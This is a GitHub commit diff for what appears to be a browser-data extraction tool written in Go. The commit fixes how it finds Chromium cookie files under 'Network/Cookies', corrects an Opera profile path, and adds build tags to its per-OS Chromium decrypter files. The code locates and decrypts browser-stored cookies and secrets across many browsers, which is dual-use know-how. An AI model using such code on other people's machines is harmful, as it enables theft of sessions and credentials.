Skip to content

Commit cf4ffec

Browse files
committed
fix: find cookies file failed
1 parent 86a7471 commit cf4ffec

File tree

5 files changed

+15
-6
lines changed

5 files changed

+15
-6
lines changed

internal/browser/browser_windows.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -96,7 +96,7 @@ var (
9696
braveProfilePath = homeDir + "/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default/"
9797
speed360ProfilePath = homeDir + "/AppData/Local/360chrome/Chrome/User Data/Default/"
9898
qqBrowserProfilePath = homeDir + "/AppData/Local/Tencent/QQBrowser/User Data/Default/"
99-
operaProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera Stable/Default/"
99+
operaProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera Stable/"
100100
operaGXProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera GX Stable/"
101101
vivaldiProfilePath = homeDir + "/AppData/Local/Vivaldi/User Data/Default/"
102102
coccocProfilePath = homeDir + "/AppData/Local/CocCoc/Browser/User Data/Default/"

internal/browser/chromium/chromium.go

Lines changed: 8 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -124,14 +124,17 @@ func chromiumWalkFunc(items []item.Item, multiItemPaths map[string]map[item.Item
124124
return func(path string, info fs.FileInfo, err error) error {
125125
for _, v := range items {
126126
if info.Name() == v.FileName() {
127-
parentBaseDir := fileutil.ParentBaseDir(path)
128-
if parentBaseDir == "System Profile" {
127+
if strings.Contains(path, "System Profile") {
129128
continue
130129
}
131-
if _, exist := multiItemPaths[parentBaseDir]; exist {
132-
multiItemPaths[parentBaseDir][v] = path
130+
profileFolder := fileutil.ParentBaseDir(path)
131+
if strings.Contains(filepath.ToSlash(path), "/Network/Cookies") {
132+
profileFolder = fileutil.BaseDir(strings.ReplaceAll(filepath.ToSlash(path), "/Network/Cookies", ""))
133+
}
134+
if _, exist := multiItemPaths[profileFolder]; exist {
135+
multiItemPaths[profileFolder][v] = path
133136
} else {
134-
multiItemPaths[parentBaseDir] = map[item.Item]string{v: path}
137+
multiItemPaths[profileFolder] = map[item.Item]string{v: path}
135138
}
136139
}
137140
}

internal/decrypter/decrypter_darwin.go

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,5 @@
1+
//go:build darwin
2+
13
package decrypter
24

35
func Chromium(key, encryptPass []byte) ([]byte, error) {

internal/decrypter/decrypter_linux.go

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,5 @@
1+
//go:build linux
2+
13
package decrypter
24

35
func Chromium(key, encryptPass []byte) ([]byte, error) {

internal/decrypter/decrypter_windows.go

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,5 @@
1+
//go:build windows
2+
13
package decrypter
24

35
import (

0 commit comments

Comments
 (0)